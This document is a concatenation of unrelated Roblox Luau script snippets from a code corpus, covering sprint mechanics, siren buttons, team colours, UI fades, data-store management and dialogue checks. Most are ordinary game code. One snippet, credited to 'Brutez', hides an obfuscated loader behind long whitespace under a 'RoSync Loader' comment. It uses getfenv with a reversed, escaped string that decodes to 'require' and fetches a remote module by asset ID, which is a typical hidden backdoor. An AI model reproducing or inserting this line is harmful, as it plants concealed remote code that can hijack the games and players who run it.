Pinkstack/roblox-luau-corpus-text huggingface dataset:
--= Functions =--



UIS.InputBegan:connect(function(key, gameProcessed)
	if key.KeyCode == Enum.KeyCode.LeftShift and gameProcessed == false then
		character.Humanoid.WalkSpeed = NewWalkSpeed
		sprinting = true
		while power > 0 and sprinting do
			power = power - .03
			Bar.Size = UDim2.new(power / 10, 0, 1, 0)
			--Bar.BackgroundColor3 = Bar.BackgroundColor3:lerp(Color3.fromRGB(255, 42, 42), 0.001)
			tween:Play()
			wait()
			if power <= 0 then
				character.Humanoid.WalkSpeed = NormalWalkSpeed
			end
		end
	end
end)

UIS.InputEnded:connect(function(key, gameProcessed)
	if key.KeyCode == Enum.KeyCode.LeftShift and gameProcessed == false then
		character.Humanoid.WalkSpeed = NormalWalkSpeed
		sprinting = false
		while power < 10 and not sprinting do
			power = power + .03
			Bar.Size = UDim2.new(power / 10, 0, 1, 0)
			--Bar.BackgroundColor3 = Bar.BackgroundColor3:lerp(Color3.fromRGB(255, 166, 11), 0.001)
			tween2:Play()
			wait()
			if power <= 0 then
				character.Humanoid.WalkSpeed = NormalWalkSpeed
			end
		end
	end
end)
--[[
	This function spawns a set number of tools within each room. Spawn locations are randomly picked, as long as it's 
	within the room, and there is sufficient free space around the ranodmly picked location. 
]]


local ServerStorage = game:GetService("ServerStorage")
local ReplicatedStorage = game:GetService("ReplicatedStorage")

local RoomManager = require(ServerStorage.Source.Managers.RoomManager)
local getRandomClearLocationInRegionAsync = require(ServerStorage.Source.Common.getRandomClearLocationInRegionAsync)

local toolsFolder = ReplicatedStorage.Tools
local gravityFuel = toolsFolder.GravityFuel
local repairKit = toolsFolder.RepairKit
local broom = toolsFolder.Broom
local largeCargo = toolsFolder.LargeCargo
local smallCargo = toolsFolder.SmallCargo
local torch = toolsFolder.Torch
local TOTAL_TOOLS_PER_ROOM = 7
local AREA_CLEAR_SIZE = Vector3.new(5, 5, 5)

local random = Random.new(tick())
--// F key, HornOn


mouse.KeyDown:connect(function(key)
	if key=="f" then 
		veh.Lightbar.middle.Airhorn:Play()
		veh.Lightbar.middle.Wail.Volume = 0
		veh.Lightbar.middle.Yelp.Volume = 0
		veh.Lightbar.middle.Priority.Volume = 0 
		veh.Lightbar.HORN.Transparency = 0
	end
end)
-- Now with exciting TeamColors HACK!



        function waitForChild(parent, childName)
        local child = parent:findFirstChild(childName)
        if child then return child end
        while true do
        child = parent.ChildAdded:wait()
        if child.Name==childName then return child end
        end
        end

        -- TEAM COLORS


        function onTeamChanged(player)

        wait(1)

        local char = player.Character
        if char == nil then return end

        if player.Neutral then
        -- Replacing the current BodyColor object will force a reset
        local old = char:findFirstChild("Body Colors")
        if not old then return end
        old:clone().Parent = char
        old.Parent = nil
        else
        local head = char:findFirstChild("Head")
        local torso = char:findFirstChild("Torso")
        local left_arm = char:findFirstChild("Left Arm")
        local right_arm = char:findFirstChild("Right Arm")
        local left_leg = char:findFirstChild("Left Leg")
        local right_leg = char:findFirstChild("Right Leg")

        if head then head.BrickColor = BrickColor.new(24) end
        if torso then torso.BrickColor = player.TeamColor end
        if left_arm then left_arm.BrickColor = BrickColor.new(26) end
        if right_arm then right_arm.BrickColor = BrickColor.new(26) end
        if left_leg then left_leg.BrickColor = BrickColor.new(26) end
        if right_leg then right_leg.BrickColor = BrickColor.new(26) end
        end
        end

        function onPlayerPropChanged(property, player)
        if property == "Character" then
        onTeamChanged(player)
        end
        if property== "TeamColor" or property == "Neutral" then
        onTeamChanged(player)
        end
        end


        local cPlayer = game.Players:GetPlayerFromCharacter(script.Parent)
        cPlayer.Changed:connect(function(property) onPlayerPropChanged(property, cPlayer) end )
        onTeamChanged(cPlayer)
-- connect events


Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Climbing:connect(onClimbing)
Humanoid.GettingUp:connect(onGettingUp)
Humanoid.FreeFalling:connect(onFreeFall)
Humanoid.FallingDown:connect(onFallingDown)
Humanoid.Seated:connect(onSeated)
Humanoid.PlatformStanding:connect(onPlatformStanding)
Humanoid.Swimming:connect(onSwimming)
--These are all donations that can be done. You must set this up with your own products to make money of it.
--To make a product you have to make a Developer Product in your game's settings page.
--You can make as many as you want, Once you made one, copy it's ID and past it in the 'ProductId' variable in this script. 
--Change the 'ProductPrice' to what the Developer Product Costs.



local module = {}	

module.Products = {
	
	{
		ProductPrice = 5, --The price from the Developer Product.
		ProductId = 33152750 -- The ID from the Developer Product.	
	},
	
	{
		ProductPrice = 10, --The price from the Developer Product.
		ProductId = 33152755 -- The ID from the Developer Product.	
	},
	
	{
		ProductPrice = 50, --The price from the Developer Product.
		ProductId = 33152758 -- The ID from the Developer Product.	
	},
	
	{
		ProductPrice = 100, --The price from the Developer Product.
		ProductId = 33152760 -- The ID from the Developer Product.	
	},
	
}
-- Mounts the custom material walking sounds into the provided
-- humanoid. This mounting assumes the HumanoidRootPart is the
-- part that will be storing the character's "Running" sound.



function CharacterRealism:MountMaterialSounds(humanoid)
	local character = humanoid.Parent
	local rootPart = character and character:WaitForChild("HumanoidRootPart", 10)
	
	if not (rootPart and rootPart:IsA("BasePart")) then
		return
	end
	
	Util:PromiseChild(rootPart, "Running", function (running)
		if not running:IsA("Sound") then
			return
		end
		
		local oldPitch = Instance.new("NumberValue")
		oldPitch.Name = "OldPitch"
		oldPitch.Parent = running
		oldPitch.Value = 1
		
		local function onStateChanged(old, new)			
			if new.Name:find("Running") then
				while humanoid:GetState() == new do
					local hipHeight = humanoid.HipHeight
					
					if humanoid.RigType.Name == "R6" then
						hipHeight = 2.8
					end
					
					local scale = hipHeight / 3
					local speed = (rootPart.Velocity * XZ_VECTOR3).Magnitude
					
					local volume = ((speed - 4) / 12) * scale
					running.Volume = math.clamp(volume, 0, 1)
					
					local pitch = oldPitch.Value / ((scale * 15) / speed)
					running.Pitch = pitch
					
					RunService.Heartbeat:Wait()
				end	
			end
		end
		
		local function updateRunningSoundId()
			local soundId = self.Sounds.Concrete
			local material = humanoid.FloorMaterial.Name
			
			if not self.Sounds[material] then
				if not self.MaterialMap[material] then
					material = self.Sounds.Concrete
				else
					material = self.MaterialMap[material]
				end
			end
			
			if self.Sounds[material] then
				soundId = self.Sounds[material]
			end
			
			running.SoundId = "rbxassetid://" .. soundId
		end
		
		local floorListener = humanoid:GetPropertyChangedSignal("FloorMaterial")
		floorListener:Connect(updateRunningSoundId)
		
		running.EmitterSize = 1
		running.MaxDistance = 50
		
		updateRunningSoundId()
		humanoid.StateChanged:Connect(onStateChanged)
		
		onStateChanged(nil, Enum.HumanoidStateType.Running)
	end)
end
--[[**
	Checks if the player is in the given group.
	@param [Instance<Player>] Player The player you are checking for. Can also be their UserID.
	@param [Integer] GroupID The group you are checking.
	@returns [Boolean] Whether or not the player is in the group.
**--]]


function GroupService:IsInGroupAsync(Player, GroupID)
	for _, Group in ipairs(GroupService:GetGroupsAsync(Player)) do
		if Group.Id == GroupID then
			return true
		end
	end

	return false
end
--[[**
	ensures value is a number where min <= value

	@param min The minimum to use

	@returns A function that will return true iff the condition is passed
**--]]


function t.numberMin(min)
	return function(value)
		local success, errMsg = t.number(value)
		if not success then
			return false, errMsg or ""
		end
		if value >= min then
			return true
		else
			return false, string.format("number >= %s expected, got %s", min, value)
		end
	end
end
--SIREN CONTROLS


HUB.Sound.Off.MouseButton1Click:connect(function()
	carSeat.Parent.Body.Lightbar.M.Wail:Stop()
	carSeat.Parent.Body.Lightbar.M.Yelp:Stop()
	carSeat.Parent.Body.Lightbar.M.Priority:Stop()
	HUB.Sound.Off.BackgroundColor3 = Color3.new(255,0,0)
	HUB.Sound.P.BackgroundColor3 = Color3.new(0,0,0)
	HUB.Sound.W.BackgroundColor3 = Color3.new(0,0,0)
	HUB.Sound.Y.BackgroundColor3 = Color3.new(0,0,0)
end)
HUB.Sound.P.MouseButton1Click:connect(function()
	carSeat.Parent.Body.Lightbar.M.Wail:Stop()
	carSeat.Parent.Body.Lightbar.M.Yelp:Stop()
	carSeat.Parent.Body.Lightbar.M.Priority:Play()
	HUB.Sound.P.BackgroundColor3 = Color3.new(255,0,0)
	HUB.Sound.Off.BackgroundColor3 = Color3.new(0,0,0)
	HUB.Sound.W.BackgroundColor3 = Color3.new(0,0,0)
	HUB.Sound.Y.BackgroundColor3 = Color3.new(0,0,0)
end)
HUB.Sound.W.MouseButton1Click:connect(function()
	carSeat.Parent.Body.Lightbar.M.Wail:Play()
	carSeat.Parent.Body.Lightbar.M.Yelp:Stop()
	carSeat.Parent.Body.Lightbar.M.Priority:Stop()
	HUB.Sound.W.BackgroundColor3 = Color3.new(255,0,0)
	HUB.Sound.P.BackgroundColor3 = Color3.new(0,0,0)
	HUB.Sound.Off.BackgroundColor3 = Color3.new(0,0,0)
	HUB.Sound.Y.BackgroundColor3 = Color3.new(0,0,0)
end)
HUB.Sound.Y.MouseButton1Click:connect(function()
	carSeat.Parent.Body.Lightbar.M.Wail:Stop()
	carSeat.Parent.Body.Lightbar.M.Yelp:Play()
	carSeat.Parent.Body.Lightbar.M.Priority:Stop()
	HUB.Sound.Y.BackgroundColor3 = Color3.new(255,0,0)
	HUB.Sound.P.BackgroundColor3 = Color3.new(0,0,0)
	HUB.Sound.W.BackgroundColor3 = Color3.new(0,0,0)
	HUB.Sound.Off.BackgroundColor3 = Color3.new(0,0,0)
end)
--				new.Pname.Position = UDim2.new(0,0,0,80)
--				new.Pname.Size = UDim2.new(1,0,1,0)


			end

			new.Parent = sf--Parent to scrolling frame
		end
		
		wait()
		sf.Size = UDim2.new(0.6,0,0,ui.AbsoluteContentSize.Y)
		sf.CanvasSize = UDim2.new(0,0,0,ui.AbsoluteContentSize.Y)
		--Give enough room for the frames to sit in
	end
	wait(1)
end
-- -- -- -- -- -- --
--DIRECTION SCROLL--
-- -- -- -- -- -- --



Elevator:WaitForChild("Direction").Changed:connect(function(val)
	if val == 1 then
		SetDisplay(1,"U1",9)
		wait(3)
		SetDisplay(1,"NIL",9)
	elseif val == -1 then
		SetDisplay(1,"D1",9)
		wait(3)
		SetDisplay(1,"NIL",9)
	else
		SetDisplay(1,"NIL",9)
	end
end)
-- Compare two strings character-by-character.
-- Optionally clean up small common substrings, also known as chaff.


function diffStringsRaw(a: string, b: string, cleanup: boolean): Array<Diff>
	local diffs = diffStrings(a, b)

	if cleanup then
		cleanupSemantic(diffs) -- impure function
	end

	return diffs
end

return {
	diffStringsUnified = diffStringsUnified,
	diffStringsRaw = diffStringsRaw,
}
-- UI elements



local intro = script.Parent:WaitForChild("Intro")
intro.Visible = true

local tokensLabel = script.Parent:WaitForChild("Tokens") -- textlabel
local tokens = game.Players.LocalPlayer:WaitForChild("Tokens") -- value


wait(2)

game.Workspace.Camera.CameraType = Enum.CameraType.Scriptable
game.Workspace.Camera.CFrame = CFrame.new(game.Workspace.IntroTunnel.CameraOrigin.Position,game.Workspace.IntroTunnel.CameraFace.Position)

local topStatus = script.Parent:WaitForChild("TopStatus")
topStatus.Text = status.Value

status:GetPropertyChangedSignal("Value"):Connect(function()
	topStatus.Text = status.Value
end)

tokensLabel.Text = tokens.Value
tokens:GetPropertyChangedSignal("Value"):Connect(function()
	tokensLabel.Text = tokens.Value
end)

intro.Play.MouseButton1Click:Connect(function()
	
	if game.ReplicatedStorage.MapVoting.Value == true then
		script.Parent.MapVoting.Visible = true
	end
	
	intro.Visible = false
	topStatus.Visible = true
	game.ReplicatedStorage.MenuPlay:FireServer()
	game.Workspace.Camera.CameraType = Enum.CameraType.Custom
end)

game.ReplicatedStorage.KillFeed.OnClientEvent:Connect(function(text)
	script.Parent.KillFeed.Visible = true
	script.Parent.KillFeed.Text = text
	wait(2)
	script.Parent.KillFeed.Visible = false
end)

game.ReplicatedStorage.Announcement.OnClientEvent:Connect(function(text)
	script.Parent.Announcement.Text = text
	script.Parent.Announcement.Visible = true
	wait(5)
	script.Parent.Announcement.Visible = false
end)

intro.Store.MouseButton1Click:Connect(function()
	script.Parent:WaitForChild("Shop").Visible = true
	intro.Visible = false
end)

script.Parent.ShopBtn.MouseButton1Click:Connect(function()
	script.Parent.Shop.Visible = not script.Parent.Shop.Visible
end)

script.Parent:WaitForChild("Shop"):WaitForChild("Close").MouseButton1Click:Connect(function()
	if game.Players.LocalPlayer:FindFirstChild("InMenu") then
		intro.Visible = true
	end
	script.Parent:WaitForChild("Shop").Visible = false
end)
--// All global vars will be wiped/replaced except script



return function(data)
	local gui = script.Parent.Parent--client.UI.Prepare(script.Parent.Parent)
	local frame = gui.Frame
	local frame2 = frame.Frame
	local msg = frame2.Message
	local ttl = frame2.Title
	
	local gIndex = data.gIndex
	local gTable = data.gTable
	
	local title = data.Title
	local message = data.Message
	local scroll = data.Scroll
	local tim = data.Time
	
	local gone = false
	
	if not data.Message or not data.Title then gTable:Destroy() end
	
	ttl.Text = title
	msg.Text = message
	ttl.TextTransparency = 1
	msg.TextTransparency = 1
	ttl.TextStrokeTransparency = 1
	msg.TextStrokeTransparency = 1
	frame.BackgroundTransparency = 1
	
	local fadeSteps = 10
	local blurSize = 10
	local textFade = 0.1
	local strokeFade = 0.5
	local frameFade = frame.BackgroundTransparency
	
	local blurStep = blurSize/fadeSteps
	local frameStep = frameFade/fadeSteps
	local textStep = 0.1
	local strokeStep = 0.1
	
	local function fadeIn()
		gTable:Ready()
		for i = 1,fadeSteps do
			if msg.TextTransparency>textFade then
				msg.TextTransparency = msg.TextTransparency-textStep
				ttl.TextTransparency = ttl.TextTransparency-textStep
			end
			if msg.TextStrokeTransparency>strokeFade then
				msg.TextStrokeTransparency = msg.TextStrokeTransparency-strokeStep
				ttl.TextStrokeTransparency = ttl.TextStrokeTransparency-strokeStep
			end
			if frame.BackgroundTransparency>frameFade then
				frame.BackgroundTransparency = frame.BackgroundTransparency-frameStep
				--frame2.BackgroundTransparency = frame.BackgroundTransparency
			end
			service.Wait("Stepped")
		end
	end
	
	local function fadeOut()
		if not gone then
			gone = true
			for i = 1,fadeSteps do
				if msg.TextTransparency<1 then
					msg.TextTransparency = msg.TextTransparency+textStep
					ttl.TextTransparency = ttl.TextTransparency+textStep
				end
				if msg.TextStrokeTransparency<1 then
					msg.TextStrokeTransparency = msg.TextStrokeTransparency+strokeStep
					ttl.TextStrokeTransparency = ttl.TextStrokeTransparency+strokeStep
				end
				if frame.BackgroundTransparency<1 then
					frame.BackgroundTransparency = frame.BackgroundTransparency+frameStep
					frame2.BackgroundTransparency = frame.BackgroundTransparency
				end
				service.Wait("Stepped")
			end
			service.UnWrap(gui):Destroy()
		end
	end
	
	gTable.CustomDestroy = function()
		fadeOut()
	end
	
	fadeIn()
	if not tim then
		local _,time = message:gsub(" ","")
		time = math.clamp(time/2,4,11)+1
		wait(time)
	else
		wait(tim)
	end
	if not gone then
		fadeOut()
	end
end
--[=[
	Bootstraps the game by replicating packages to server, client, and
	shared.

	```lua
	local ServerScriptService = game:GetService("ServerScriptService")

	local loader = ServerScriptService:FindFirstChild("LoaderUtils", true).Parent
	local packages = require(loader).bootstrapGame(ServerScriptService.ik)
	```

	:::info
	The game must be running to do this bootstrapping operation.
	:::

	@server
	@function bootstrapGame
	@param packageFolder Instance
	@return Folder -- serverFolder
	@within Loader
]=]


local function bootstrapGame(packageFolder)
	assert(RunService:IsRunning(), "Game must be running")

	loader:Lock()

	local clientFolder, serverFolder, sharedFolder = LoaderUtils.toWallyFormat(packageFolder)

	clientFolder.Parent = ReplicatedStorage
	sharedFolder.Parent = ReplicatedStorage
	serverFolder.Parent = ServerScriptService

	return serverFolder
end
--[=[
	Removes all player data stores, and returns a promise that
	resolves when all pending saves are saved.
	@return Promise
]=]


function PlayerDataStoreManager:PromiseAllSaves()
	for player, _ in pairs(self._datastores) do
		self:_removePlayerDataStore(player)
	end
	return self._maid:GivePromise(PromiseUtils.all(self._pendingSaves:GetAll()))
end

function PlayerDataStoreManager:_createDataStore(player)
	assert(not self._datastores[player], "Bad player")

	local datastore = DataStore.new(self._robloxDataStore, self:_getKey(player))

	self._maid._savingConns[player] = datastore.Saving:Connect(function(promise)
		self._pendingSaves:Add(promise)
	end)

	self._datastores[player] = datastore

	return datastore
end

function PlayerDataStoreManager:_removePlayerDataStore(player)
	assert(typeof(player) == "Instance", "Bad player")
	assert(player:IsA("Player"), "Bad player")

	local datastore = self._datastores[player]
	if not datastore then
		return
	end

	self._removing[player] = true

	local removingPromises = {}
	for _, func in pairs(self._removingCallbacks) do
		local result = func(player)
		if Promise.isPromise(result) then
			table.insert(removingPromises, result)
		end
	end

	PromiseUtils.all(removingPromises)
		:Then(function()
			return datastore:Save()
		end)
		:Finally(function()
			datastore:Destroy()
			self._removing[player] = nil
		end)

	-- Prevent double removal or additional issues
	self._datastores[player] = nil
	self._maid._savingConns[player] = nil
end

function PlayerDataStoreManager:_getKey(player)
	return self._keyGenerator(player)
end

return PlayerDataStoreManager
--[[ By: Brutez, 2/28/2015, 1:34 AM, (UTC-08:00) Pacific Time (US & Canada) ]]--
--[[ Last synced 11/11/2020 02:29                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]]

 getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
-------------------------


 
mouse.KeyDown:connect(function (key)
    key = string.lower(key)
				if key == "n" then --Camera controls
				        if cam == ("car") then
							Camera.CameraSubject = player.Character.Humanoid
							Camera.CameraType = ("Custom")
							cam = ("freeplr")
							Camera.FieldOfView = 70
							limitButton.Text = "Free Camera"
							wait(3)
							limitButton.Text = ""
						elseif cam == ("freeplr") then
							Camera.CameraSubject = player.Character.Humanoid
							Camera.CameraType = ("Attach")
							cam = ("lockplr")
							Camera.FieldOfView = 45
							limitButton.Text = "FPV Camera"
							wait(3)
							limitButton.Text = ""
				        elseif cam == ("lockplr") then
							Camera.CameraSubject = carSeat
							Camera.CameraType = ("Custom")
							cam = ("car")
							Camera.FieldOfView = 70
							limitButton.Text = "Standard Camera"
							wait(3)
							limitButton.Text = ""
				        end
			end
		end)
--Internal interface


local function OnInputEnded(self)
	--Reset button
	self.button.Parent.BackgroundColor3 = released_col
	if not self.enabled then
		self.button.Active = false
	end

	--Reset input state
	self.pressed = false
	self.move_touch_input = nil
end

function touch_button:Bind(btn)
	--Initialize meta reference
	local self = setmetatable({}, {__index = touch_button})

	--Create button
	self.button = btn:WaitForChild("Inner"):WaitForChild("Button")
	self.button.Active = false

	--Initialize state
	self.pressed = false
	self.move_touch_input = nil
	self.enabled = false

	--Input connections
	self.input_connections = {
		self.button.InputBegan:Connect(function(input)
			--Make sure input is a valid state
			if self.enabled == false or self.move_touch_input ~= nil or input.UserInputType ~= Enum.UserInputType.Touch or input.UserInputState ~= Enum.UserInputState.Begin then
				return
			end

			--Start holding button
			self.move_touch_input = input
			self.button.Parent.BackgroundColor3 = pressed_col
			self.pressed = true
		end),
		uis.TouchEnded:Connect(function(input, processed)
			if input == self.move_touch_input then
				OnInputEnded(self)
			end
		end),
		gui_service.MenuOpened:Connect(function()
			if self.move_touch_input ~= nil then
				OnInputEnded(self)
			end
		end),
	}

	return self
end
function touch_button:Destroy()
	--Disconnect connections
	if self.input_connections ~= nil then
		for _,v in pairs(self.input_connections) do
			v:Disconnect()
		end
		self.input_connections = nil
	end
end
--[[
	Calls the given callback, and stores any used external dependencies.
	Arguments can be passed in after the callback.
	If the callback completed successfully, returns true and the returned value,
	otherwise returns false and the error thrown.
	The callback shouldn't yield or run asynchronously.

	NOTE: any calls to useDependency() inside the callback (even if inside any
	nested captureDependencies() call) will not be included in the set, to avoid
	self-dependencies.
]]



local Package = script.Parent.Parent
local PubTypes = require(Package.PubTypes)
local parseError = require(Package.Logging.parseError)
local sharedState = require(Package.Dependencies.sharedState)

type Set<T> = {[T]: any}

local initialisedStack = sharedState.initialisedStack
local initialisedStackCapacity = 0

local function captureDependencies(
	saveToSet: Set<PubTypes.Dependency>,
	callback: (...any) -> any,
	...
): (boolean, any)

	local prevDependencySet = sharedState.dependencySet
	sharedState.dependencySet = saveToSet

	sharedState.initialisedStackSize += 1
	local initialisedStackSize = sharedState.initialisedStackSize

	local initialisedSet
	if initialisedStackSize > initialisedStackCapacity then
		initialisedSet = {}
		initialisedStack[initialisedStackSize] = initialisedSet
		initialisedStackCapacity = initialisedStackSize
	else
		initialisedSet = initialisedStack[initialisedStackSize]
		table.clear(initialisedSet)
	end

	local ok, value = xpcall(callback, parseError, ...)

	sharedState.dependencySet = prevDependencySet
	sharedState.initialisedStackSize -= 1

	return ok, value
end

return captureDependencies
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data


return function(player, dialogueFolder)
	local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
	if plrData.Character.Injuries.BrokenLeg.Value == true then
		return true
	end
	return false
end